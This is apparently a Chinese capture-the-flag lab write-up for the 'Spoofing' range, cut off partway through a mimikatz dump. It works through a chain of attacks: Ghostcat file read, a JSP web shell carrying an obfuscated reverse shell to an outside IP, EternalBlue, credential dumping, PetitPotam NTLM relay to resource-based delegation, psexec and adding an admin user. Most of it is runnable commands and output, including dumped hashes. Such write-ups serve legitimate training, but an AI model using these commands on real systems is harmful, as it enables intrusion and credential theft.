Spoofing
参考：春秋云境·Spoofing – fushulingのblog
信息收集
1
2
3
4
5
6
| 39.99.253.112:8080 open
39.99.253.112:8009 open
39.99.253.112:22 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.99.253.112:8080 code:200 len:7091 title:后台管理
|
没东西只有8080端口做了开着web服务
扫一下目录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| [20:44:44] 200 - 114B - /404.html
[20:44:44] 200 - 7KB - /;login/
[20:44:44] 200 - 7KB - /;admin/
[20:44:44] 200 - 7KB - /;json/
[20:45:04] 200 - 7KB - /console.html
[20:45:05] 302 - 0B - /css -> /css/
[20:45:05] 302 - 0B - /data -> /data/
[20:45:07] 302 - 0B - /docs -> /docs/
[20:45:07] 200 - 17KB - /docs/
[20:45:07] 200 - 132B - /download/
[20:45:07] 302 - 0B - /download -> /download/
[20:45:09] 200 - 1KB - /examples/
[20:45:09] 302 - 0B - /examples -> /examples/
[20:45:09] 200 - 6KB - /examples/servlets/index.html
[20:45:09] 200 - 687B - /examples/jsp/snp/snoop.jsp
[20:45:09] 200 - 14KB - /examples/jsp/index.html
[20:45:09] 200 - 860B - /examples/servlets/servlet/RequestHeaderExample
[20:45:09] 200 - 658B - /examples/servlets/servlet/CookieExample
[20:45:09] 200 - 1KB - /examples/websocket/index.xhtml
[20:45:12] 403 - 3KB - /host-manager/html
[20:45:12] 403 - 3KB - /host-manager/
[20:45:13] 302 - 0B - /images -> /images/
[20:45:14] 200 - 7KB - /index.html
[20:45:15] 302 - 0B - /js -> /js/
[20:45:16] 302 - 0B - /lib -> /lib/
[20:45:18] 302 - 0B - /manager -> /manager/
[20:45:38] 200 - 9KB - /user.html
|
访问/;admin/功能点基本都是404，访问docs出现一个tomcat界面
Tomcat 9.0.30打CVE-2020-1938，可以做到任意文件读取/包含
原理是Tomcat默认在server.xml中开启AJP协议端口（默认8009），用于与其他Web服务器（如Apache HTTPD）通信。也就是上面扫出来的端口
GitHub - 00theway/Ghostcat-CNVD-2020-10487: Ghostcat read file/code execute,CNVD-2020-10487(CVE-2020-1938) · GitHub
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
| python ajpShooter.py http://39.99.253.112:8080/ 8009 /WEB-INF/web.xml read
C:\Users\10086\Downloads\Ghostcat-CNVD-2020-10487-master\Ghostcat-CNVD-2020-10487-master\ajpShooter.py:363: SyntaxWarning: invalid escape sequence '\ '
/_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __
_ _ __ _ _
/_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __
//_\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
/ _ \| | |_) | _\ \ | | | (_) | (_) | || __/ |
\_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_|
|__/|_|
00theway,just for test
[<] 200 200
[<] Accept-Ranges: bytes
[<] ETag: W/"2489-1670857638305"
[<] Last-Modified: Mon, 12 Dec 2022 15:07:18 GMT
[<] Content-Type: application/xml
[<] Content-Length: 2489
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<security-constraint>
<display-name>Tomcat Server Configuration Security Constraint</display-name>
<web-resource-collection>
<web-resource-name>Protected Area</web-resource-name>
<url-pattern>/upload/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
<error-page>
<error-code>404</error-code>
<location>/404.html</location>
</error-page>
<error-page>
<error-code>403</error-code>
<location>/error.html</location>
</error-page>
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/error.html</location>
</error-page>
<servlet>
<servlet-name>HelloServlet</servlet-name>
<servlet-class>com.example.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/HelloServlet</url-pattern>
</servlet-mapping>
<servlet>
<display-name>LoginServlet</display-name>
<servlet-name>LoginServlet</servlet-name>
<servlet-class>com.example.LoginServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginServlet</servlet-name>
<url-pattern>/LoginServlet</url-pattern>
</servlet-mapping>
<servlet>
<display-name>RegisterServlet</display-name>
<servlet-name>RegisterServlet</servlet-name>
<servlet-class>com.example.RegisterServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>RegisterServlet</servlet-name>
<url-pattern>/RegisterServlet</url-pattern>
</servlet-mapping>
<servlet>
<display-name>UploadTestServlet</display-name>
<servlet-name>UploadTestServlet</servlet-name>
<servlet-class>com.example.UploadTestServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadTestServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
<servlet>
<display-name>DownloadFileServlet</display-name>
<servlet-name>DownloadFileServlet</servlet-name>
<servlet-class>com.example.DownloadFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadFileServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
</web-app>
|
有个UploadServlet和DownloadServlet路由，那就可以上传jsp，利用工具的文件包含rce
1
2
3
4
5
6
7
8
9
10
| <%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuMjYuMTI0LjIyMC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
|
保存为1.txt上传就行
1
| python ajpShooter.py http://39.99.253.112:8080/ 8009 /upload/b6d62648239c19f47dc7d1aecdaa4f84/20260823085910079.txt eval
|
直接弹到root的shell
写个ssh公钥先
1
2
3
4
5
6
7
8
| #自己的机器上
ssh-keygen -t rsa -b 4096
cat ~/.ssh/id_rsa.pub
#弹的shell
echo "~/.ssh/id_rsa.pub的内容" > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
ssh -i ~/.ssh/id_rsa root@靶机ip
|
传fscan扫内网
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
| root@ubuntu:~# ./fscan32 -h 172.22.11.0/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.11.6 is alive
(icmp) Target 172.22.11.76 is alive
(icmp) Target 172.22.11.45 is alive
(icmp) Target 172.22.11.26 is alive
[*] Icmp alive hosts len is: 4
172.22.11.26:445 open
172.22.11.45:445 open
172.22.11.6:445 open
172.22.11.26:139 open
172.22.11.45:139 open
172.22.11.26:135 open
172.22.11.6:139 open
172.22.11.45:135 open
172.22.11.6:135 open
172.22.11.76:22 open
172.22.11.6:88 open
172.22.11.76:8080 open
172.22.11.76:8009 open
[*] alive ports len is: 13
start vulscan
[+] MS17-010 172.22.11.45 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios 172.22.11.26 XIAORANG\XR-LCM3AE8B
[*] NetBios 172.22.11.6 [+] DC:XIAORANG\XIAORANG-DC
[*] NetInfo
[*]172.22.11.26
[->]XR-LCM3AE8B
[->]172.22.11.26
[*] NetInfo
[*]172.22.11.6
[->]XIAORANG-DC
[->]172.22.11.6
[*] WebTitle http://172.22.11.76:8080 code:200 len:7091 title:后台管理
[*] NetBios 172.22.11.45 XR-DESKTOP.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1
已完成 13/13
[*] 扫描结束,耗时: 8.638833764s
|
有个永恒之蓝，先做代理，做好之后直接打
1
2
3
4
5
| proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.11.45
run
|
然后拿flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| meterpreter > cat C:/users/administrator/flag/flag02.txt
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
##
:####: :#### ##
:###### ##### ##
##: :# ##
## ##.###: .####. .####. ####### #### ##.#### :###:##
###: #######: .######. .######. ####### #### ####### .#######
:#####: ### ### ### ### ### ### ## ## ### :## ### ###
.#####: ##. .## ##. .## ##. .## ## ## ## ## ##. .##
:### ## ## ## ## ## ## ## ## ## ## ## ##
## ##. .## ##. .## ##. .## ## ## ## ## ##. .##
#:. :## ### ### ### ### ### ### ## ## ## ## ### ###
#######: #######: .######. .######. ## ######## ## ## .#######
.#####: ##.###: .####. .####. ## ######## ## ## :###:##
## #. :##
## ######
## :####:
flag02: flag{d11fb8c7-94a9-4b85-9805-390679250c49}
|
域内横向移动，先抓hash
导出域票据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
| meterpreter > creds_all
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1
-------- ------ ---- ----
XR-DESKTOP$ XIAORANG 996a5b076bf2f23b560f69e88ff1243b e7cff979ce4f346594d298de2d6f96ad64d1bff6
yangmei XIAORANG 25e42ef4cc0ab6a8ff9e3edbbda91841 6b2838f81b57faed5d860adaf9401b0edb269a6f
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
XR-DESKTOP$ XIAORANG 52 f2 7e c8 3c b0 c8 ec 8f 53 d6 33 6a bf 27 b5 e1 6d 88 3a f1 5a 29 0f 0b 58 32 87 6e 12 d9 8c c3 e5 01 a2 ab 4f 90 84 ec b0 91 e3 de 35 4b 01 3c da 0d 72 a0 2b 21 ff 46 9c 15 1e 96 6e
3e 68 db da dc 74 b8 62 17 d1 8c f8 25 08 79 88 a1 40 64 81 3d 19 48 31 24 d8 3b 5a d8 64 48 4c f8 b6 d2 8e 79 d7 e8 71 e7 e9 ec 4a 4c 8e a7 eb b1 ae 60 42 69 5b 5b 82 4d cf 44 ff 39 d
a 26 8a 06 ca 84 da ba 95 b6 dc 81 87 98 8d 29 7c b1 57 8c 04 6b 8e 99 4b a9 6e 19 7b 61 f6 da 70 df e6 ce f5 d3 64 d3 df d3 cb 0f 60 27 09 b5 5e 03 03 50 00 c6 fe 93 67 a5 74 70 23 a5
91 04 81 ed ba 8a 0a 4c e1 15 f2 db 19 14 b3 2d 00 86 3f 50 7c cd ae 42 96 66 34 7b 4a a5 fb 18 5e 33 38 14 35 7d 4e 2c 3a c9 42 89 97 f3 84 f5 73 b0 30 98 58 3d 94
yangmei XIAORANG xrihGHgoNZQ
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
xr-desktop$ XIAORANG.LAB 52 f2 7e c8 3c b0 c8 ec 8f 53 d6 33 6a bf 27 b5 e1 6d 88 3a f1 5a 29 0f 0b 58 32 87 6e 12 d9 8c c3 e5 01 a2 ab 4f 90 84 ec b0 91 e3 de 35 4b 01 3c da 0d 72 a0 2b 21 ff 46 9c 15 1e 9
6 6e 3e 68 db da dc 74 b8 62 17 d1 8c f8 25 08 79 88 a1 40 64 81 3d 19 48 31 24 d8 3b 5a d8 64 48 4c f8 b6 d2 8e 79 d7 e8 71 e7 e9 ec 4a 4c 8e a7 eb b1 ae 60 42 69 5b 5b 82 4d cf 44
ff 39 da 26 8a 06 ca 84 da ba 95 b6 dc 81 87 98 8d 29 7c b1 57 8c 04 6b 8e 99 4b a9 6e 19 7b 61 f6 da 70 df e6 ce f5 d3 64 d3 df d3 cb 0f 60 27 09 b5 5e 03 03 50 00 c6 fe 93 67 a5
74 70 23 a5 91 04 81 ed ba 8a 0a 4c e1 15 f2 db 19 14 b3 2d 00 86 3f 50 7c cd ae 42 96 66 34 7b 4a a5 fb 18 5e 33 38 14 35 7d 4e 2c 3a c9 42 89 97 f3 84 f5 73 b0 30 98 58 3d 94
xr-desktop$ XIAORANG.LAB (null)
yangmei XIAORANG.LAB xrihGHgoNZQ
|
可以发现yangmei这个用户是有明文密码的,cme扫一下WebClient和petitpotam
1
2
| proxychains4 -q crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M webdav
proxychains4 -q crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M petitpotam
|
这里crackmapexec貌似还有点问题换可执行文件那种的了Release 5.4.0 - Indestructible G0thm0g · byt3bl33d3r/CrackMapExec · GitHub，是python版本的问题
所以打26这台机子就行，然后这里使用无ADCS + Petitpotam + ntlm中继打法，思路是用petitpotam触发存在漏洞且开启了webclient服务的目标，利用petitpotam触发目标访问我们的http中继服务，目标将会使用webclient携带ntlm认证访问我们的中继，并且将其认证中继到ldap，获取到机器账户的身份，以机器账户的身份修改其自身的msDS-AllowedToActOnBehalfOfOtherIdentity属性，配置到XR-LCM3AE8B.xiaorang.lab的RBCD。
但这里有个条件，需要我们把服务器端口的流量转发到客户端本地的80，但SSH的反向端口转发监听的时候只会监听127.0.0.1，这里我们让流量 0.0.0.0:80 转发到 127.0.0.1:79，再反向转发回客户端本地的80 ,变相使80监听在0.0.0.0
1
2
3
4
5
6
7
8
9
| 攻击机
ssh-keygen -t rsa -b 4096
cat /root/.ssh/id_rsa.pub
靶机
echo "xxx" >/root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
ssh -i ~/.ssh/id_rsa root@39.99.253.112 -D SOCKS代理IP:PORT -R \*:79:127.0.0.1:80
nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &
|
这里流量已经成功转发到我们的kali,本地开启ntlmrelayx监听，利用前面拿下的XR-Desktop作为恶意机器账户设置RBCD,再用PetitPotam强制目标用webclient访问我们的监听
1
2
| proxychains4 python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access
proxychains4 python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26
|
配好之后用之前172.22.11.45上抓的机器账户XR-DESKTOP$哈希打172.22.11.26的RBCD，申请ST票据
1
2
3
| proxychains4 impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :996a5b076bf2f23b560f69e88ff1243b xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6
export KRB5CCNAME=administrator@cifs_XR-LCM3AE8B.xiaorang.lab@XIAORANG.LAB.ccache
sudo vim /etc/hosts#把XR-LCM3AE8B.xiaorang.lab的ip加到hosts里
|
然后就可以psexec无密码连接
1
| proxychains4 python psexec.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26 -codec gbk
|
到这里可以增加管理员用户直接rdp上去了,这里可以看一下用户组
1
2
| net user test qwerQ!1234 /add
net localgroup administrators test /add
|
rdp上去传个猕猴桃，管理员身份运行
1
2
| privilege::debug
sekurlsa::logonpasswords
|
结果如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
| mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 17049641 (00000000:01042829)
Session : RemoteInteractive from 3
User Name : test
Domain : XR-LCM3AE8B
Logon Server : XR-LCM3AE8B
Logon Time : 2026/8/23 23:21:08
SID : S-1-5-21-886837244-2534789743-3500935927-1002
msv :
[00000003] Primary
* Username : test
* Domain : XR-LCM3AE8B
* NTLM : faae78d447bfda696dd02b058b9dafd5
* SHA1 : 39a0f771a44df906a303ac2daade2ca8ef5fb718
tspkg :
wdigest :
* Username : test
* Domain : XR-LCM3AE8B
* Password : (null)
kerberos :
* Username : test
* Domain : XR-LCM3AE8B
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 17049579 (00000000:010427eb)
Session : RemoteInteractive from 3
User Name : test
Domain : XR-LCM3AE8B
Logon Server : XR-LCM3AE8B
Logon Time : 2026/8/23 23:21:08
SID : S-1-5-21-886837244-2534789743-3500935927-1002
msv :
[00000003] Primary
* Username : test
* Domain : XR-LCM3AE8B
* NTLM : faae78d447bfda696dd02b058b9dafd5
* SHA1 : 39a0f771a44df906a303ac2daade2ca8ef5fb718
tspkg :
wdigest :
* Username : test
* Domain : XR-LCM3AE8B
* Password : (null)
kerberos :
* Username : test
* Domain : XR-LCM3AE8B
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 17024829 (00000000:0103c73d)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/8/23 23:21:07
SID : S-1-5-90-0-3
msv :
[00000003] Primary
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* NTLM : ab4d54dc9ba1a18ea53849a213048677
* SHA1 : 33f9d2fbd7c5e6a5534ce8745cc928f670888cd7
tspkg :
wdigest :
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-LCM3AE8B$
* Domain : xiaorang.lab
* Password : cc fd 8b 63 a9 ef d1 f3 c3 1d 70 1d 1e 3e d7 66 bf 28 d2 31 6c 27 5d 52 38 75 01 f2 b1 9c 5b 7c 58 ea 39 b3 80 d0 45 41 2f e1 16 d3 31 98 7d 81 c7 7f 67 d1 16 a4 0e 7e 7c d8 a4 85 c8 62 72 20 0d 96 79 4f 7a 17 e3 a7 b8 bf 30 a1 1d b1 1f ff e2 19 bf a5 47 be 74 3a 4f 31 01 e5 da ad d7 1a 5e 46 21 0b 13 65 82 10 ed 26 d3 b4 c6 6e e8 91 34 80 18 ee 78 5c e5 6e 06 e6 42 5b 00 75 10 26 92 1b 7a 15 28 9b 67 18 56 95 d1 d7 13 5f 1e 85 50 1b ed 28 f5 f4 14 01 dd 62 b9 d6 f2 0a 4e 0e 7d 8a 15 5d 06 63 00 25 e9 57 b9 b2 4e 73 b9 ce 29 35 ac 0e 9c 57 02 51 cf 65 bc 29 9f 6c 70 60 2b 15 43 98 6a 6c 3b f1 00 5c 7e 62 ec 51 7a 30 19 55 0f ab c4 0d 2f 5c 98 65 01 1a 6e 9a a4 c7 2b 4d be 79 38 9e d5 8c 0d 8c 5f d0 54 4e 11 88
ssp :
credman :
cloudap :
Authentication Id : 0 ; 17024592 (00000000:0103c650)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/8/23 23:21:07
SID : S-1-5-90-0-3
msv :
[00000003] Primary
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* NTLM : ab4d54dc9ba1a18ea53849a213048677
* SHA1 : 33f9d2fbd7c5e6a5534ce8745cc928f670888cd7
tspkg :
wdigest :
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-LCM3AE8B$
* Domain : xiaorang.lab
* Password : cc fd 8b 63 a9 ef d1 f3 c3 1d 70 1d 1e 3e d7 66 bf 28 d2 31 6c 27 5d 52 38 75 01 f2 b1 9c 5b 7c 58 ea 39 b3 80 d0 45 41 2f e1 16 d3 31 98 7d 81 c7 7f 67 d1 16 a4 0e 7e 7c d8 a4 85 c8 62 72 20 0d 96 79 4f 7a 17 e3 a7 b8 bf 30 a1 1d b1 1f ff e2 19 bf a5 47 be 74 3a 4f 31 01 e5 da ad d7 1a 5e 46 21 0b 13 65 82 10 ed 26 d3 b4 c6 6e e8 91 34 80 18 ee 78 5c e5 6e 06 e6 42 5b 00 75 10 26 92 1b 7a 15 28 9b 67 18 56 95 d1 d7 13 5f 1e 85 50 1b ed 28 f5 f4 14 01 dd 62 b9 d6 f2 0a 4e 0e 7d 8a 15 5d 06 63 00 25 e9 57 b9 b2 4e 73 b9 ce 29 35 ac 0e 9c 57 02 51 cf 65 bc 29 9f 6c 70 60 2b 15 43 98 6a 6c 3b f1 00 5c 7e 62 ec 51 7a 30 19 55 0f ab c4 0d 2f 5c 98 65 01 1a 6e 9a a4 c7 2b 4d be 79 38 9e d5 8c 0d 8c 5f d0 54 4e 11 88
ssp :
credman :
cloudap :
Authentication Id : 0 ; 17022972 (00000000:0103bffc)
Session : Interactive from 3
User Name : UMFD-3
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 2026/8/23 23:21:07
SID : S-1-5-96-0-3
msv :
[00000003] Primary
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* NTLM : ab4d54dc9ba1a18ea53849a213048677
* SHA1 : 33f9d2fbd7c5e6a5534ce8745cc928f670888cd7
tspkg :
wdigest :
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-LCM3AE8B$
* Domain : xiaorang.lab
* Password : cc fd 8b 63 a9 ef d1 f3 c3 1d 70 1d 1e 3e d7 66 bf 28 d2 31 6c 27 5d 52 38 75 01 f2 b1 9c 5b 7c 58 ea 39 b3 80 d0 45 41 2f e1 16 d3 31 98 7d 81 c7 7f 67 d1 16 a4 0e 7e 7c d8 a4 85 c8 62 72 20 0d 96 79 4f 7a 17 e3 a7 b8 bf 30 a1 1d b1 1f ff e2 19 bf a5 47 be 74 3a 4f 31 01 e5 da ad d7 1a 5e 46 21 0b 13 65 82 10 ed 26 d3 b4 c6 6e e8 91 34 80 18 ee 78 5c e5 6e 06 e6 42 5b 00 75 10 26 92 1b 7a 15 28 9b 67 18 56 95 d1 d7 13 5f 1e 85 50 1b ed 28 f5 f4 14 01 dd 62 b9 d6 f2 0a 4e 0e 7d 8a 15 5d 06 63 00 25 e9 57 b9 b2 4e 73 b9 ce 29 35 ac 0e 9c 57 02 51 cf 65 bc 29 9f 6c 70 60 2b 15 43 98 6a 6c 3b f1 00 5c 7e 62 ec 51 7a 30 19 55 0f ab c4 0d 2f 5c 98 65 01 1a 6e 9a a4 c7 2b 4d be 79 38 9e d5 8c 0d 8c 5f d0 54 4e 11 88
ssp :
credman :
cloudap :
Authentication Id : 0 ; 840082 (00000000:000cd192)
Session : RemoteInteractive from 2
User Name : zhanghui
Domain : XIAORANG
Logon Server : XIAORANG-DC
Logon Time : 2026/8/23 20:34:32
SID : S-1-5-21-3598443049-773813974-2432140268-1133
msv :
[00000003] Primary
* Username : zhanghui
* Domain : XIAORANG
* NTLM : 1232126b24cdf8c9bd2f788a9d7c7ed1
* SHA1 : f3b66ff457185cdf5df6d0a085dd8935e226ba65
* DPAPI : 4bfe751ae03dc1517cfb688adc506154
tspkg :
wdigest :
* Username : zhanghui
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : zhanghui
* Domain : XIAORANG.LAB
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 803500 (00000000:000c42ac)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/8/23 20:34:31
SID : S-1-5-90-0-2
msv :
[00000003] Primary
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* NTLM : f87bbea221c346a6578b5e937f207038
* SHA1 : 318380b6fdd4556d540909a5c86a1bf191b2f0f5
tspkg :
wdigest :
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-LCM3AE8B$
* Domain : xiaorang.lab
* Password : 7e 84 db cc ca 73 03 80 f7 29 81 e8 9a fe 5f f1 22 35 25 bb 96 3a 28 f5 3e e9 e7 09 9f 36 a4 11 b1 77 de a6 77 48 92 8b 49 49 c2 e8 02 16 89 fb 33 bd b5 2a f7 04 62 74 db 1e c3 ba bd 63 f8 b0 d1 ec 46 50 4e 04 38 6d a7 a4 7e 0d 1a 4d 06 5a 73 6e 11 71 11 e2 7f 9b 8e 7f 68 6a 8f 23 6e 38 66 a5 76 95 65 1d 1a 38 24 fc 64 e2 ca 83 c4 87 57 ec 28 eb fe 15 50 c1 55 b2 22 46 1a 2d 7b 50 d0 71 b5 90 86 90 da 4b a8 51 2a 85 9b 38 e0 0f ea 2a 67 18 3c 8d f4 5e 3a 50 2b 57 b3 55 c5 b6 48 5a af 8c 3c f6 f4 09 0e f4 d9 ff f3 3d a2 f7 87 eb 33 02 d3 f9 d1 da b7 ac 37 14 0a 50 cc 3b ca d1 6f 0a c2 a0 73 81 75 65 91 85 95 dd 60 c6 a9 e1 1f 43 9c 4c 81 91 b5 77 ed 2d 28 5d c8 0f 1a 06 c8 89 44 64 65 11 f2 36 37 13 7c ef 8b 56
ssp :
credman :
cloudap :
Authentication Id : 0 ; 802816 (00000000:000c4000)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/8/23 20:34:31
SID : S-1-5-90-0-2
msv :
[00000003] Primary
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* NTLM : ab4d54dc9ba1a18ea53849a213048677
* SHA1 : 33f9d2fbd7c5e6a5534ce8745cc928f670888cd7
tspkg :
wdigest :
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-LCM3AE8B$
* Domain : xiaorang.lab
* Password : cc fd 8b 63 a9 ef d1 f3 c3 1d 70 1d 1e 3e d7 66 bf 28 d2 31 6c 27 5d 52 38 75 01 f2 b1 9c 5b 7c 58 ea 39 b3 80 d0 45 41 2f e1 16 d3 31 98 7d 81 c7 7f 67 d1 16 a4 0e 7e 7c d8 a4 85 c8 62 72 20 0d 96 79 4f 7a 17 e3 a7 b8 bf 30 a1 1d b1 1f ff e2 19 bf a5 47 be 74 3a 4f 31 01 e5 da ad d7 1a 5e 46 21 0b 13 65 82 10 ed 26 d3 b4 c6 6e e8 91 34 80 18 ee 78 5c e5 6e 06 e6 42 5b 00 75 10 26 92 1b 7a 15 28 9b 67 18 56 95 d1 d7 13 5f 1e 85 50 1b ed 28 f5 f4 14 01 dd 62 b9 d6 f2 0a 4e 0e 7d 8a 15 5d 06 63 00 25 e9 57 b9 b2 4e 73 b9 ce 29 35 ac 0e 9c 57 02 51 cf 65 bc 29 9f 6c 70 60 2b 15 43 98 6a 6c 3b f1 00 5c 7e 62 ec 51 7a 30 19 55 0f ab c4 0d 2f 5c 98 65 01 1a 6e 9a a4 c7 2b 4d be 79 38 9e d5 8c 0d 8c 5f d0 54 4e 11 88
ssp :
credman :
cloudap :
Authentication Id : 0 ; 802032 (00000000:000c3cf0)
Session : Interactive from 2
User Name : UMFD-2
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 2026/8/23 20:34:31
SID : S-1-5-96-0-2
msv :
[00000003] Primary
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* NTLM : ab4d54dc9ba1a18ea53849a213048677
* SHA1 : 33f9d2fbd7c5e6a5534ce8745cc928f670888cd7
tspkg :
wdigest :
* Username : XR-LCM3AE8B$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-LCM3AE8B$
* Domain : xiaorang.lab
